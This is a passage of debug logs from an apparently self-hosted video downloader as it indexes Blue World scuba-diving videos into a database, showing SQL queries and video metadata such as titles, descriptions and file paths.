world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "190e3e03-eb20-4a4e-90c3-111577bb6ea3", "f9zJLNVZhPg", false, "https://www.youtube.com/watch?v=f9zJLNVZhPg", 34, [], 1212, false, 3, "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", false, false, 98, ~U[2026-04-11 14:00:06Z], ~U[2026-06-02 23:01:46Z], ~U[2026-06-02 23:01:46Z], "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "f9zJLNVZhPg", "https://www.youtube.com/watch?v=f9zJLNVZhPg", 34, 1212, false, "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", false, ~U[2026-04-11 14:00:06Z]] 19:01:46.926 [debug] QUERY OK source="sources" db=0.1ms idle=32.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:46.926 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:01:46.927 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [127955] 19:01:46.927 [debug] Current batch of media processed. Will check again in 1000ms 19:01:47.927 [debug] Current batch of media processed. Will check again in 1000ms 19:01:48.928 [debug] Current batch of media processed. Will check again in 1000ms 19:01:49.930 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "duration" => 868, "filename" => "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", "id" => "55GGIDpWOqY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=55GGIDpWOqY", "playlist_index" => 4, "timestamp" => 1772895608, "title" => "Two Divers go into a CAVE...with a gadget?", "upload_date" => "20260307"} 19:01:49.932 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1709.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:01:49.933 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1710.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:49.936 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=1712.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-07 15:00:08Z], 34] 19:01:49.937 [debug] QUERY OK source="media_items" db=0.9ms idle=1040.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "Two Divers go into a CAVE...with a gadget?", "9983e6cf-39ec-41f7-b56c-ec34033b2d30", "55GGIDpWOqY", false, "https://www.youtube.com/watch?v=55GGIDpWOqY", 34, [], 868, false, 4, "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", false, false, 98, ~U[2026-03-07 15:00:08Z], ~U[2026-06-02 23:01:49Z], ~U[2026-06-02 23:01:49Z], "Jonathan and Todd were hoping to do a dive with world-renown cave explorer Robbie Schmittner...but Robbie forgot his drysuit. So handed them a strange device called a Mnemo and sent them into the cave alone. Here's what happened!\n\nWARNING Cave diving is incredibly dangerous. Do not attempt to dive in caves without proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n1:40 Meeting up with Robbie\n4:40 The Dive\n12:56 Heading back\n13:44 Summary\n14:07 Credits", "Two Divers go into a CAVE...with a gadget?", "55GGIDpWOqY", "https://www.youtube.com/watch?v=55GGIDpWOqY", 34, 868, false, "/downloads/rory/BlueWorldTV/2026-03-07 Two Divers go into a CAVE...with a gadget?/Two Divers go into a CAVE...with a gadget? [55GGIDpWOqY].mp4", false, ~U[2026-03-07 15:00:08Z]] 19:01:49.937 [debug] QUERY OK source="sources" db=0.1ms idle=38.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:49.938 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:01:49.938 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119019] 19:01:49.938 [debug] Current batch of media processed. Will check again in 1000ms 19:01:50.940 [debug] Current batch of media processed. Will check again in 1000ms 19:01:51.940 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "duration" => 1151, "filename" => "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", "id" => "PkZk6395-xI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=PkZk6395-xI", "playlist_index" => 5, "timestamp" => 1770476451, "title" => "Diving with the HARBOR SEALS of Monterey Bay!", "upload_date" => "20260207"} 19:01:51.940 [debug] QUERY OK source="sources" db=0.1ms idle=719.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:01:51.941 [debug] QUERY OK source="sources" db=0.1ms idle=719.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:51.942 [debug] QUERY OK source="media_items" db=0.9ms idle=719.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-07 15:00:51Z], 34] 19:01:51.943 [debug] QUERY OK source="media_items" db=0.9ms idle=721.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "Diving with the HARBOR SEALS of Monterey Bay!", "bf39f1ad-1836-4c14-ae5b-77b738b76310", "PkZk6395-xI", false, "https://www.youtube.com/watch?v=PkZk6395-xI", 34, [], 1151, false, 5, "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", false, false, 98, ~U[2026-02-07 15:00:51Z], ~U[2026-06-02 23:01:51Z], ~U[2026-06-02 23:01:51Z], "Jonathan and Camerawoman Christine (AKA \"The Boss\") travel to Monterey, California on a mission to film seals for a documentary that they are producing. With the help of Dane Durand from Aquarius Dive Shop, they go in search of Harbor seals, by day and night. Along the way they get to experience the amazing diving of Monterey Bay with kelp forests, lush gardens of anemones and all kinds of creatures!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nJONATHAN BIRD'S BLUE WORLD is supported by the Bharat Family Foundation.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seals #monterey \n\nChapters:\n0:00 Intro\n0:47 Arrival at Aquarius Dive Shop\n2:30 First Dive\n4:50 First Seals Arrive\n8:00 Second Dive\n10:54 Sea Lions on the Pier\n12:44 Night Dive\n18:15 Summary/Credits", "Diving with the HARBOR SEALS of Monterey Bay!", "PkZk6395-xI", "https://www.youtube.com/watch?v=PkZk6395-xI", 34, 1151, false, "/downloads/rory/BlueWorldTV/2026-02-07 Diving with the HARBOR SEALS of Monterey Bay!/Diving with the HARBOR SEALS of Monterey Bay! [PkZk6395-xI].mp4", false, ~U[2026-02-07 15:00:51Z]] 19:01:51.944 [debug] QUERY OK source="sources" db=0.2ms idle=42.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:51.944 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM 